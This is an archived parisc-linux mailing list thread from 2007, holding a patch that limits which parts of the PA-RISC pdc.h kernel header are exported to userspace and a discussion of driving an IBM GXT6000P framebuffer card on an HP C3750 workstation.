X-GMX-UID: bJbIfqEqYW0/ZLuGbmZpSw10amthc1uh
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24811

------=_Part_22710_773733.1190241328928
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Here's a first attempt at making an exported header for parisc, can
folks please look it over and tell me what other sorts of things I
should look for in cleaning a header up?

In this particular case, this is a header that has been cached inside
palo.  I've wrapped things that were in #ifndef __ASSEMBLER__ also in
#ifdef __KERNEL__ so that they don't get exported.  The exceptions
were things that palo was actually using.

Also, given that I don't use git that often, if there's something I
should be doing other than git diff and attaching the file, please let
me know. =)

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/

------=_Part_22710_773733.1190241328928
Content-Type: text/x-patch; name="pdc-header-parisc.diff"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pdc-header-parisc.diff"
X-Attachment-Id: f_f6sevgi2

ZGlmZiAtLWdpdCBhL2luY2x1ZGUvYXNtLXBhcmlzYy9LYnVpbGQgYi9pbmNsdWRlL2FzbS1wYXJp
c2MvS2J1aWxkCmluZGV4IGM2OGUxNjguLmY4OGIyNTIgMTAwNjQ0Ci0tLSBhL2luY2x1ZGUvYXNt
LXBhcmlzYy9LYnVpbGQKKysrIGIvaW5jbHVkZS9hc20tcGFyaXNjL0tidWlsZApAQCAtMSArMSwz
IEBACiBpbmNsdWRlIGluY2x1ZGUvYXNtLWdlbmVyaWMvS2J1aWxkLmFzbQorCit1bmlmZGVmLXkg
Kz0gcGRjLmgKZGlmZiAtLWdpdCBhL2luY2x1ZGUvYXNtLXBhcmlzYy9wZGMuaCBiL2luY2x1ZGUv
YXNtLXBhcmlzYy9wZGMuaAppbmRleCA4NzZmZDgxLi43NzU3MjZkIDEwMDY0NAotLS0gYS9pbmNs
dWRlL2FzbS1wYXJpc2MvcGRjLmgKKysrIGIvaW5jbHVkZS9hc20tcGFyaXNjL3BkYy5oCkBAIC0x
NDMsMTQgKzE0MywxNSBAQAogI2RlZmluZSBQRENfTUVNX1JFVF9QRFRfRlVMTAkJLTExCiAjZGVm
aW5lIFBEQ19NRU1fUkVUX0lOVkFMSURfUEhZU0lDQUxfTE9DQVRJT04gfjBVTEwKIAotI2lmbmRl
ZiBfX0FTU0VNQkxZX18KKyNpZmRlZiBfX0tFUk5FTF9fCisjIGlmbmRlZiBfX0FTU0VNQkxZX18K
IHR5cGVkZWYgc3RydWN0IHsKICAgICB1bnNpZ25lZCBsb25nIGxvbmcJYmFzZUFkZHI7CiAgICAg
dW5zaWduZWQgaW50CXBhZ2VzOwogICAgIHVuc2lnbmVkIGludAlyZXNlcnZlZDsKIH0gTWVtQWRk
clRhYmxlX3Q7Ci0jZW5kaWYKLQorIyBlbmRpZiAvKiBfX0FTU0VNQkxZX18gKi8KKyNlbmRpZiAv
KiBfX0tFUk5FTF9fICovCiAKICNkZWZpbmUgUERDX1BTVwkJMjEJCS8qIEdldC9TZXQgZGVmYXVs
dCBTeXN0ZW0gTWFzayAgKi8KICNkZWZpbmUgUERDX1BTV19NQVNLCQkwCS8qIFJldHVybiBtYXNr
ICAgICAgICAgICAgICAgICAgKi8KQEAgLTI5Niw4ICsyOTcsMTEgQEAgdHlwZWRlZiBzdHJ1Y3Qg
ewogI2RlZmluZSBPU1RBVF9PTgkJNwogCiAjaWZuZGVmIF9fQVNTRU1CTFlfXwotCiAjaW5jbHVk
ZSA8bGludXgvdHlwZXMuaD4KKyNlbmRpZiAvKiBfX0FTU0VNQkxZX18gKi8KKworI2lmZGVmIF9f
S0VSTkVMX18KKyMgaWZuZGVmIF9fQVNTRU1CTFlfXwogCiBleHRlcm4gaW50IHBkY190eXBlOwog
CkBAIC01NTgsNyArNTYyLDggQEAgc3RydWN0IHBkY19ocG1jX3BpbV8yMCB7IC8qIFBEQ19QSU0g
Ki8KIAlfX3U2NCBmclszMl07CiB9OwogCi0jZW5kaWYgLyogX19BU1NFTUJMWV9fICovCisjIGVu
ZGlmIC8qIF9fQVNTRU1CTFlfXyAqLworI2VuZGlmIC8qIF9fS0VSTkVMX18gKi8KIAogLyogZmxh
Z3Mgb2YgdGhlIGRldmljZV9wYXRoIChzZWUgYmVsb3cpICovCiAjZGVmaW5lCVBGX0FVVE9CT09U
CTB4ODAKQEAgLTcwNyw2ICs3MTIsNyBAQCBzdHJ1Y3QgemVyb3BhZ2UgewogI2RlZmluZSBCT09U
X0NPTlNPTEVfU1BBX09GRlNFVCAgMHgzYzQKICNkZWZpbmUgQk9PVF9DT05TT0xFX1BBVEhfT0ZG
U0VUIDB4M2E4CiAKKyNpZmRlZiBfX0tFUk5FTF9fCiAjaWZuZGVmIF9fQVNTRU1CTFlfXwogdm9p
ZCBwZGNfY29uc29sZV9pbml0KHZvaWQpOwkvKiBpbiBwZGNfY29uc29sZS5jICovCiB2b2lkIHBk
Y19jb25zb2xlX3Jlc3RhcnQodm9pZCk7CkBAIC03ODYsNiArNzkyLDcgQEAgc3RhdGljIGlubGlu
ZSBjaGFyICogb3NfaWRfdG9fc3RyaW5nKHUxNiBvc19pZCkgewogCWRlZmF1bHQ6CXJldHVybiAi
VW5rbm93biI7CiAJfQogfQotI2VuZGlmIC8qIF9fQVNTRU1CTFlfXyAqLworIyBlbmRpZiAvKiBf
X0FTU0VNQkxZX18gKi8KKyNlbmRpZiAvKiBfX0tFUk5FTF9fICovCiAKICNlbmRpZiAvKiBfUEFS
SVNDX1BEQ19IICovCg==
------=_Part_22710_773733.1190241328928
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_22710_773733.1190241328928--



From - Thu Nov 08 21:36:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Berthold Gunreben <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IBM GXT6000P on parisc linux
Date: Fri, 21 Sep 2007 19:49:21 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <200709211949.21664.b.gunreben__41618.5013404631$1416624443$gmane$org@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624443 25340 80.91.229.3 (22 Nov 2014 02:47:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Sep 2007 17:49:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 21 Sep 2007 19:49:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94E4D7E126;
	Fri, 21 Sep 2007 11:49:55 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id dgiyH2v0FhmD; Fri, 21 Sep 2007 11:49:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 688177E160;
	Fri, 21 Sep 2007 11:49:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6AF727E11F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Sep 2007 11:49:39 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id IsBj733sKoVb for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Sep 2007 11:49:25 -0600 (MDT)
Original-Received: from fmmailgate03.web.de (fmmailgate03.web.de [217.72.192.234])
	by free.linux.hp.com (Postfix) with ESMTP id 795FE7E1A6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Sep 2007 11:49:25 -0600 (MDT)
Original-Received: from smtp05.web.de (fmsmtp05.dlan.cinetic.de [172.20.4.166])
	by fmmailgate03.web.de (Postfix) with ESMTP id 5DD369D0BFEF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Sep 2007 19:49:24 +0200 (CEST)
Original-Received: from [217.229.1.245] (helo=[192.168.178.20])
	by smtp05.web.de with asmtp (TLSv1:AES256-SHA:256)
	(WEB.DE 4.108 #197) id 1IYmd2-00060T-00
	for parisc-linux@lists.parisc-linux.org; Fri, 21 Sep 2007 19:49:24 +0200
User-Agent: KMail/1.9.5
Content-Disposition: inline
X-Sender: b.gunreben@web.de
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dTLBd3Z5bUkpPenGPWgnqWJkZ2hlN0qA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24812

Hi,

I got a used HP parisc workstation, and found a GXT6000P video card in 
there. The card was detected and initialized by the firmware of this machine 
(a C3750). I just wanted to give it a try and compiled a module gxt4500 to 
try this card. Here are my results:

o The module builds  without errors after adding PARISC to Kconfig for this 
module
o when loading the module, dmesg contains this:
  Console: switching to colour frame buffer device 160x64
  fb0: IBM GXT6000P frame buffer device
o fbset -i gives me the following output:
mode "1280x1024-60"
    # D: 107.504 MHz, H: 63.687 kHz, V: 59.744 Hz
    geometry 1280 1024 1280 1024 8
    timings 9302 248 48 38 1 112 3
    nonstd 304384
    accel true
    rgba 8/0,8/0,8/0,0/0
endmode

Frame buffer device information:
    Name        : IBM GXT6000P
    Address     : 0xf8000000
    Size        : 67108864
    Type        : PACKED PIXELS
    Visual      : PSEUDOCOLOR
    XPanStep    : 8
    YPanStep    : 1
    YWrapStep   : 0
    LineLength  : 2048
    MMIO Address: 0xf7000000
    MMIO Size   : 131072
    Accelerator : No

o I manually configured Xorg, and the fbdev X-Server seems to come up 
(according to the X messages).

However - the monitor stays in powersave mode, and no signal reaches the 
monitor, neither in text mode (console) nor in X11 mode. For some reason, the 
interrupt for this device (according to lspci it is IRQ 70) does not appear 
in /proc/interrupts, but I don't know if this is even necessary for this 
driver.

lspci -vn gives me the following for this card:
03:02.0 Class 0300: 1014:0170 (rev 02) (prog-if 00 [VGA])
        Subsystem: 1092:0173
        Flags: bus master, 66MHz, medium devsel, latency 255, IRQ 70
        Memory at f7000000 (32-bit, non-prefetchable) [size=128K]
        Memory at f8000000 (32-bit, non-prefetchable) [size=64M]
        Expansion ROM at f7040000 [disabled] [size=256K]

If anybody wants to see the log about X coming up, I can send this too, I just 
did not want to send them to the list.

If someone got a hint about how to fix this problem, this would be great.

Thanks

Berthold
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM GXT6000P on parisc linux
Date: Sun, 30 Sep 2007 13:35:34 -0600
Lines: 54
Approved: news@gmane.org
Message-ID: <20070930193534.GA15729__33468.0551350631$1416624443$gmane$org@colo.lackof.org>
References: <200709211949.21664.b.gunreben@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624443 25341 80.91.229.3 (22 Nov 2014 02:47:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Berthold Gunreben <b.gunreben@web.de>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Sep 2007 19:36:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 30 Sep 2007 21:36:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6FA757E2CB;
	Sun, 30 Sep 2007 13:36:16 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZZzMdlKZI4h4; Sun, 30 Sep 2007 13:36:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8627E7E25A;
	Sun, 30 Sep 2007 13:36:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 581937E18F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Sep 2007 13:36:01 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tMb0fTjYYABU for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Sep 2007 13:35:50 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 177787E10A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Sep 2007 13:35:50 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3CBA74F84E7;
	Sun, 30 Sep 2007 13:35:49 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20716-02; Sun, 30 Sep 2007 13:35:34 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CC76A4F84DC; Sun, 30 Sep 2007 13:35:34 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200709211949.21664.b.gunreben@web.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hoDKLl15ZDI5PLHGdWY2VVBxemhmY0F1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24813

On Fri, Sep 21, 2007 at 07:49:21PM +0200, Berthold Gunreben wrote:
> Hi,
> 
> I got a used HP parisc workstation, and found a GXT6000P video card in 
> there. The card was detected and initialized by the firmware of this machine 
> (a C3750).

wow..that's odd. I didn't see any web page which shows HP ever
supported GXT6000P with HPUX. I suspect someone sold you the wrong card.
Can you explain in more detail what you mean with "detected and initialized
by the firmware"?

I suspect magic BIOS code isn't getting run. (It _might_ run under
a C8000 but I don't expect it to work).

>  I just wanted to give it a try and compiled a module gxt4500 to 
> try this card. Here are my results:
> 
> o The module builds  without errors after adding PARISC to Kconfig for this 
> module
> o when loading the module, dmesg contains this:
>   Console: switching to colour frame buffer device 160x64
>   fb0: IBM GXT6000P frame buffer device

Ok. that's good.

...
> However - the monitor stays in powersave mode, and no signal reaches the 
> monitor, neither in text mode (console) nor in X11 mode. For some reason, the 
> interrupt for this device (according to lspci it is IRQ 70) does not appear 
> in /proc/interrupts, but I don't know if this is even necessary for this 
> driver.
> 
> lspci -vn gives me the following for this card:
> 03:02.0 Class 0300: 1014:0170 (rev 02) (prog-if 00 [VGA])
>         Subsystem: 1092:0173
>         Flags: bus master, 66MHz, medium devsel, latency 255, IRQ 70
>         Memory at f7000000 (32-bit, non-prefetchable) [size=128K]
>         Memory at f8000000 (32-bit, non-prefetchable) [size=64M]
>         Expansion ROM at f7040000 [disabled] [size=256K]

You can determine if it's necessary by looking at the driver source code.
Try to find where it registers the IRQ handler with request_irq().
Sounds like either it doesn't or it can't (but should print something
to dmesg buffer in that case).

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Berthold Gunreben <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM GXT6000P on parisc linux
Date: Sun, 30 Sep 2007 22:22:11 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <200709302222.11909.b.gunreben__9811.82291075147$1416624443$gmane$org@web.de>
References: <200709211949.21664.b.gunreben@web.de>
	<20070930193534.GA15729@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624443 25342 80.91.229.3 (22 Nov 2014 02:47:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Sep 2007 20:22:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 30 Sep 2007 22:22:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 63C377E39D;
	Sun, 30 Sep 2007 14:22:45 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id QMB9lCMn0IBU; Sun, 30 Sep 2007 14:22:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71C797E2BB;
	Sun, 30 Sep 2007 14:22:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8AD4F7E25A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Sep 2007 14:22:30 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17y9gS9JrrJ1 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Sep 2007 14:22:17 -0600 (MDT)
Original-Received: from fmmailgate01.web.de (fmmailgate01.web.de [217.72.192.221])
	by free.linux.hp.com (Postfix) with ESMTP id 190D37E192
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Sep 2007 14:22:17 -0600 (MDT)
Original-Received: from smtp06.web.de (fmsmtp06.dlan.cinetic.de [172.20.5.172])
	by fmmailgate01.web.de (Postfix) with ESMTP id 0AAEFA2B2BC5;
	Sun, 30 Sep 2007 22:22:16 +0200 (CEST)
Original-Received: from [217.229.31.248] (helo=[192.168.178.20])
	by smtp06.web.de with asmtp (TLSv1:AES256-SHA:256)
	(WEB.DE 4.108 #197)
	id 1Ic5It-0005tL-00; Sun, 30 Sep 2007 22:22:15 +0200
User-Agent: KMail/1.9.5
In-Reply-To: <20070930193534.GA15729@colo.lackof.org>
Content-Disposition: inline
X-Sender: b.gunreben@web.de
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qTcmbwiVLi5mI/fRZWtp5gxjZml1ZJi7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24814

Am Sonntag, 30. September 2007 21:35 schrieb Grant Grundler:
> On Fri, Sep 21, 2007 at 07:49:21PM +0200, Berthold Gunreben wrote:
> > Hi,
> >
> > I got a used HP parisc workstation, and found a GXT6000P video card in
> > there. The card was detected and initialized by the firmware of this
> > machine (a C3750).
>
> wow..that's odd. I didn't see any web page which shows HP ever
> supported GXT6000P with HPUX. I suspect someone sold you the wrong card.
> Can you explain in more detail what you mean with "detected and initialized
> by the firmware"?
>
> I suspect magic BIOS code isn't getting run. (It _might_ run under
> a C8000 but I don't expect it to work).

Well, what can I say. The workstation boots up and displays the usual firmware 
messages like press Tab to choose resolution (only 640x480 seems to be 
supported at that stage) and I can also enter commands at this console. The 
card does not seem to be wrong in this respect.

After booting linux, the messages of the kernel are displayed until the 
console switches:

console handover: boot [ttyB0] -> real [tty0]

Then it takes some more seconds, until the display goes dark and I was not yet 
successful in bringing it to life again.

> You can determine if it's necessary by looking at the driver source code.
> Try to find where it registers the IRQ handler with request_irq().
> Sounds like either it doesn't or it can't (but should print something
> to dmesg buffer in that case).

The driver has no occurence of irq, and it only handles framebuffer (normally, 
this card also should have 3D capabilities. It looks like it just does not 
need IRQs.

It looks like the card is switched off by using 
pdc_cons.flags &= ~CON_PRINTBUFFER

At least if I comment this line, booting continues with messages until some 
point where the machine just hangs. 

I am sorry, that I did not post more information in the first place, but I 
don't have much experience with graphics on parisc-linux ... 

Thanks for your efforts anyway.

Berthold
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM GXT6000P on parisc linux
Date: Sun, 30 Sep 2007 15:42:12 -0500
Lines: 84
Approved: news@gmane.org
Message-ID: <200709301542.12192.mszick__27543.4522809975$1416624444$gmane$org@morethan.org>
References: <200709211949.21664.b.gunreben@web.de>
	<20070930193534.GA15729@colo.lackof.org>
	<200709302222.11909.b.gunreben@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624444 25346 80.91.229.3 (22 Nov 2014 02:47:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Sep 2007 20:47:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 30 Sep 2007 22:47:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB95A7E2BB;
	Sun, 30 Sep 2007 14:47:17 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xd4BHzKOrXvl; Sun, 30 Sep 2007 14:47:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9E2F7E33A;
	Sun, 30 Sep 2007 14:47:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 78EE37E279
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Sep 2007 14:46:59 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JX9GAdrTK-+3 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Sep 2007 14:46:47 -0600 (MDT)
Original-Received: from mx-out2.daemonmail.net (mx-out2.daemonmail.net [216.104.160.40])
	by free.linux.hp.com (Postfix) with ESMTP id E74677E25A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Sep 2007 14:46:46 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost [127.0.0.1])
	by mx-out2.daemonmail.net (Postfix) with SMTP id 6DD1547D8E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Sep 2007 13:42:18 -0700 (PDT)
Original-Received: from [65.40.205.46] (via account 126282)
	by mx-out2.daemonmail.net with ESMTP id Md40shA2
	authenticated by SMTP; Sun, 30 Sep 2007 13:42:16 -0700 (PDT)
User-Agent: KMail/1.9.5
In-Reply-To: <200709302222.11909.b.gunreben@web.de>
Content-Disposition: inline
